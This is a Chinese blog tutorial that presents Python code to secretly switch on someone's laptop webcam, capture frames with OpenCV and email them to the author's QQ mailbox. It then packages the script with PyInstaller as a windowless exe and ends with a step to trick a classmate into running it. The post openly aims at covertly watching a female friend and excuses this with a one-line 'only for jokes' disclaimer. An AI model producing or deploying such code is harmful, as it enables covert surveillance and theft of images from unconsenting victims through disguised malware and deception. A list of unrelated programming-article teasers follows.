用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)
作者:Keter_ 发布时间:2021-04-26 22:34:55
标签:Python,打开,摄像头,保存
前言:
如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。
注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。
代码
发送邮件
使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '写你的qq邮箱地址'
receivers = '写你的qq邮箱地址'
message = MIMEMultipart('related')
subject = '终于能发图片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open(img, "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, '写授权码')
server.sendmail(sender, receivers, message.as_string())
server.quit()
except smtplib.SMTPException as e:
print(e)
打开摄像头并发送图片
我们使用opencv打开笔记本内置的摄像头,不多说上代码
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller将程序打包
好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。
我们使用pyinstaller来打包,没有下载的可以先pip安装
pip install pyinstaller -i https://pypi.douban.com/simple --user
之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。
下面就是最关键的一步了!
忽悠同学
找个同学忽悠她一下
来源:https://blog.csdn.net/python_LC_nohtyp/article/details/104420028
0
投稿
猜你喜欢
- 介绍Zmail 使得在python3中发送和接受邮件变得更简单。你不需要手动添加服务器地址、端口以及适合的协议,zmail会帮你完成。此外,
- 有时候,我们在某一重要的时间段需要监控某张表的变化情况,包含插入、更新、删除。举例来说,当我们把数据导出到外部的系统时,我们希望导出的是全部
- 在讲这个问题之前让我们来先看一段代码: dim sql_injdata,SQL_inj,SQL_Get,SQL_Data,Sql_
- 本文实例讲述了PHP字典树(Trie树)定义与实现方法。分享给大家供大家参考,具体如下:Trie树的概念(百度的解释):字典树又称单词查找树
- 错误提示Invalid byte 1 of 1-byte UTF-8 sequence原因分析在中文版的window下java的默认的编码为
- 1、打印九九乘法表#只打印结果for i in range(1,10): for j in range(1,i+1): &nbs
- python实现的五子棋,能够自动判断输赢,没有是实现电脑对战功能源码下载:pygame五子棋# 1、引入pygame 和 pygame.l
- 前言当需要将多张图像拼接成一张更大的图像时,通常会用到图片拼接技术。这种技术在许多领域中都有广泛的应用,例如计算机视觉、图像处理、卫星图像、
- 这篇文章主要介绍了Python二次规划和线性规划使用实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的
- 前言激活函数在机器学习中常常用在神经网络隐含层节点与神经网络的输出层节点上,激活函数的作用是赋予神经网络更多的非线性因素,如果不用激励函数,
- 应该只是一个简单的层的定位及鼠标事件吧<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.
- 用selenium做自动化,有时候会遇到需要模拟鼠标操作才能进行的情况,比如单击、双击、点击鼠标右键、拖拽等等。而selenium给我们提供
- A.课程内容本节课主要学习函数的返回值returm,通过学习编写一个汇率转换器程序。B.知识点(1)定义函数(2)调用函数(3)返回值C.用
- Python 输出 "Hello, World!",英文没有问题,但是如果你输出中文字符"你好,世界"
- 存储过程的优缺点: 存储过程优点: 1.由于应用程序随着时间推移会不断更改,增删功能,T-SQL过程代码会变得更复杂,StoredProce
- 五子棋游戏相信大部分人都玩过,今天我们用python来实现一次具体代码可以访问我的GitHub地址获取构建五子棋棋盘from collect
- 一些简单的代码简化下面是一个简单示例,它说明了 jQuery 对代码的影响。要执行一些真正简单和常见的任务,比方说为页面的某一区域中的每个链
- 我以centos 4.4 下面的mysql 5.0.33 手工编译版本为例说明:vi /usr/local/mysql/bin/m
- 本文实例讲述了django实现分页的方法。分享给大家供大家参考。具体如下:Python代码如下:#!/usr/bin/env python#
- Yahoo和Google都有自己的建设高性能网站最佳实践, 我不做赘述, 需要了解的自行查阅资料:Yahoo的: Best Practice